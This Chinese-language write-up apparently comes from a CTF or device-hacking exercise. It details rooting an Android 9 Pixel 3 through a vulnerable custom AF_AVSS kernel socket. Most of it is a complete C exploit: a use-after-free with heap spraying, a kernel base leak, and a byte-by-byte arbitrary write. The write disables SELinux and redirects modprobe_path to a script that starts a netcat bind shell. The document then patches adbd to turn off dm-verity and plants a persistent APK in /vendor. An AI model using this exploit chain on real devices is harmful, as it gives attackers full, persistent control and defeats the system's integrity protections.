由于设备的分区开了保护,通过分析adb发现adb可以关闭保护adb disable-verity,但是需要adbd具有root权限。分析adbd,我们从系统中提取adbd程序,然后对adbd进行patch,让其主函数直接调用set_verity_enabled_state_service(1, 0LL)关闭分区保护

我们把这个修改过的adbd程序命名为disable-dm-verity,在我们获得的root shell中调用后重启,即可关闭分区保护。全部命令如下

1
2
3
4
5
6
7
8
9

./disable-dm-verity
reboot


./busybox mount -o remount,rw /vendor
mkdir /vendor/app/Polaris
cp polaris.apk /vendor/app/Polaris
reboot

重启后即可见效果

Android 9 - Pixel 3

内核开启了CFI保护,导致劫持函数指针的思路基本不可行。

分析avss_release函数发现链表unlink的操作,这可以被利用起来做任意地址写。

由于两个数据都必须为合法的内存指针,因此不能直接写数据。但是可以用错位的思路,CPU为小端,因此指针的最低一个字节存放在最前面,我们每次只需要保证指针的最低一个字节被写入到目标地址即可。令*(v3 + 112) = addr,

*(v3 + 104) = bss | byte,则可以在addr处写上一个字节byte。其中bss为bss的地址,用于保证两个数据都为合法的内存指针不会崩溃。writeByte的原语如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void writeByte(size_t addr,int byte) {
size_t serverfd;
pthread_t client_th;
uint64_t score;
memset(payload, 0, 0x1000);
client_thread_finished = 0;

serverfd = create_server(2023, 1);
newserverfd = create_server(2023, 2);

if (pthread_create(&client_th, NULL, client_thread, (void *)serverfd) != 0) {
perror("Failed to create client thread");
return;
}

while (!client_thread_finished) {
score = 0;
if (syscall(291, serverfd, &score) < 0) {
// printf("syscall error\n");
}
}

spray_pipe(1);

*(uint64_t *)&payload[0x80] = 0x2;
*(uint64_t *)&payload[0x2c8] = selinux_enforcing - 0x2c8;
*(uint64_t *)&payload[0x2b8] = 1;
*(uint64_t *)&payload[0x68] = bss | byte;
*(uint64_t *)&payload[0x70] = addr;
setxattr("/data/local/tmp", "ha1vk", payload, 0x400, 0);
close(newclient_fd);
for (int i=3;i<12;i++) {
close(i);
}
//getchar();
}

通过writeByte改写selinux_enforcing为0关闭selinux,改写modprobe_path为提权脚本。然后触发modprobe_path的执行。在脚本中我们用nc监听了一个端口并启动root shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/syscall.h>
#include <pthread.h>
#include <sys/xattr.h>
#include <netinet/in.h>
#include <linux/socket.h>
#include <linux/unistd.h>
#include <sys/msg.h>
#include <linux/keyctl.h>
#include <sched.h>
#include <sys/mman.h>

#define AF_AVSS 1024
#define AVSS_PORT 2024

size_t kernel_base;
size_t selinux_enforcing;
size_t modprobe_path;
size_t bss;

struct avss_addr {
sa_family_t avss_family;
uint16_t year;
uint32_t id;
} __attribute__((packed));

struct avss_data {
uint8_t score;
char buff[128];
} __attribute__((packed));

int create_server(int year,int id) {
int sockfd;
struct avss_addr addr;
sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("socket failed");
return -1;
}

memset(&addr, 0, sizeof(addr));
addr.avss_family = AF_AVSS;
addr.year = year;
addr.id = id;

if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind failed");
close(sockfd);
return -1;
}
return sockfd;
}

int client_connect(int year,int id) {
int sockfd;
struct avss_addr addr;

sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("socket failed");
return -1;
}

memset(&addr, 0, sizeof(addr));
addr.avss_family = AF_AVSS;
addr.year = year;
addr.id = id;

if (connect(sockfd,(struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("connect failed");
close(sockfd);
return -1;
}
return sockfd;
}

char payload[0x1000];
int client_thread_finished = 0;

void spray_addkey(int count) {
int i;
char desc[0x400];
for (i = 0; i < count; i++) {
memset(desc, 'b', 0x300);
desc[0x300] = 0;
syscall(__NR_add_key, "user", desc, payload, 0x400, KEY_SPEC_PROCESS_KEYRING);
}
}

int newserverfd;
int newclient_fd;

void *client_thread(void *arg) {
size_t serverfd = (size_t)arg;
struct avss_data data;

int client_fd = client_connect(2023,1);

memset(&data, 0, sizeof(data));
data.score = 85; // 示例得分
strcpy(data.buff, "Hello from client!");

if (send(client_fd, &data, sizeof(data),0) < 0) {
perror("sendto failed");
close(client_fd);
return NULL;
}
printf("Message sent to server.\n");
usleep(100000);
//UAF
close(serverfd);
usleep(500000);
//使用一个任意文件占位原来的serverfd描述符,但是不能用avss_socket去,不然sk指针会重新获取
open("/dev/null",0);
//使用newclient的sock结构体去占位,经过getscore中的sk_free时,newclient的引用将减1但没释放
newclient_fd = client_connect(2023,2);
close(serverfd);
//关闭newclient的一个引用,由于之前减了1,这次关闭引用后,newclient的引用为0将被释放
close(newserverfd);
sleep(3);
close(client_fd);
client_thread_finished = 1;
return NULL;
}

ssize_t syscall_send(int sockfd, const void *buf, size_t len, int flags) {
ssize_t ret;

asm volatile (
"mov x8, %1\n"
"mov x0, %2\n"
"mov x1, %3\n"
"mov x2, %4\n"
"mov x3, %5\n"
"mov x4, #0\n"
"mov x5, #0\n"
"svc #0\n"
"mov %0, x0\n"
: "=r" (ret)
: "r" (SYS_sendto), "r" (sockfd), "r" (buf), "r" (len), "r" (flags) // 输入寄存器
: "x0", "x1", "x2", "x3", "x4", "x5", "x8" // clobbered 寄存器
);

return ret;
}

#define NUM_PIPE 100
int pipefd[NUM_PIPE][2];
void spray_pipe(int n) {
for (int i=0;i<n;i++) {
pipe(pipefd[i]);
}
}
void writeByte(size_t addr,int byte) {
size_t serverfd;
pthread_t client_th;
uint64_t score;
memset(payload, 0, 0x1000);
client_thread_finished = 0;

serverfd = create_server(2023, 1);
newserverfd = create_server(2023, 2);

if (pthread_create(&client_th, NULL, client_thread, (void *)serverfd) != 0) {
perror("Failed to create client thread");
return;
}

while (!client_thread_finished) {
score = 0;
if (syscall(291, serverfd, &score) < 0) {
// printf("syscall error\n");
}
}

spray_pipe(1);

*(uint64_t *)&payload[0x80] = 0x2;
*(uint64_t *)&payload[0x2c8] = selinux_enforcing - 0x2c8;
*(uint64_t *)&payload[0x2b8] = 1;
*(uint64_t *)&payload[0x68] = bss | byte;
*(uint64_t *)&payload[0x70] = addr;
setxattr("/data/local/tmp", "ha1vk", payload, 0x400, 0);
close(newclient_fd);
for (int i=3;i<12;i++) {
close(i);
}
//getchar();
}
void setup_rootscript() {
system("echo '#!/system/bin/sh' > /data/local/tmp/g");
system("echo '/data/local/tmp/busybox nc -lp 2333 -e /system/bin/sh' >> /data/local/tmp/g");
system("echo -e '\xff\xff\xff\xff' >> /data/local/tmp/x");
system("chmod +x /data/local/tmp/busybox /data/local/tmp/x /data/local/tmp/g");
int test = popen("/data/local/tmp/g","r");
close(test);
}
int main() {
size_t serverfd;
struct avss_addr addr;
uint64_t score;
uint64_t x = 0;
pthread_t client_th;

//全部分配到一个CPU上执行,否则很难堆喷成功
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(1, &mask);
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) {
perror("sched setaffinity");
return -1;
}
setup_rootscript();

memset(payload, 0, 0x1000);
serverfd = create_server(2023, 1);
newserverfd = create_server(2023, 2);

if (pthread_create(&client_th, NULL, client_thread, (void *)serverfd) != 0) {
perror("Failed to create client thread");
return 1;
}

while (!client_thread_finished) {
score = 0;
if (syscall(291, serverfd, &score) < 0) {
// printf("syscall error\n");
}
}

// now newclient_fd is UAF
printf("start leaking kernel base(wait a few minutes)...\n");
*(uint16_t *)&payload[0x10] = 0x400;
*(uint32_t *)&payload[0x2B8] = 2023; //year
*(uint32_t *)&payload[0x2BC] = 4; //id
payload[0x2C0] = 100; //score
*(uint64_t *)&payload[0x2C8] = 0; //peer
*(uint64_t *)&payload[0x2D0] = 0xFFFFFF8009934470; //avss_default_parse
while (1) {
*(uint64_t *)&payload[0x2D0] += 0x100000;
spray_addkey(100);
if (syscall(291, newclient_fd, &score) == 0) {
printf("found kernel address\n");
break;
}
}
//关闭全部描述符
for (int i=3;i<12;i++) {
close(i);
}

kernel_base = *(uint64_t *)&payload[0x2D0] - 0x18b4470;
//kernel_base = 0xffffff827c280000;
selinux_enforcing = kernel_base + 0x2de9000;
modprobe_path = kernel_base + 0x2bafa80;
bss = kernel_base + 0x2deb000;
printf("kernel_base=0x%lx\n", kernel_base);
char *root_script = "/data/local/tmp/g";
int len = strlen(root_script) + 1;
for (int i=0;i<len;i++) {
printf("\rProgress: %d%% ", i * 100 / len);
writeByte(modprobe_path+i,root_script[i]);
}

printf("\ntrigger shell...\n");
system("ps -e | grep busybox | awk '{print $2}' | xargs kill -9");
system("/data/local/tmp/x &");
sleep(1);
printf("your shell is here:\n");
system("/data/local/tmp/busybox nc 127.0.0.1 2333");
return 0;
}

启动的shell虽然id看到是root,但是selinux的context为u:r:kernel:s0,这会导致仍然不能进行某些操作

可以通过在root shell中继续执行runcon u:r:su:s0 /system/bin/sh切换selinux的context获得最高的权限。

然后使用如下命令持久化一个app,其中disable-dm-verity9是从该设备中提取的adbd进行patch后得到的程序。

1
2
3
4
5
6
7
8
9

./disable-dm-verity9
reboot


./busybox mount -o remount,rw /vendor
mkdir /vendor/app/Polaris
cp polaris.apk /vendor/app/Polaris
reboot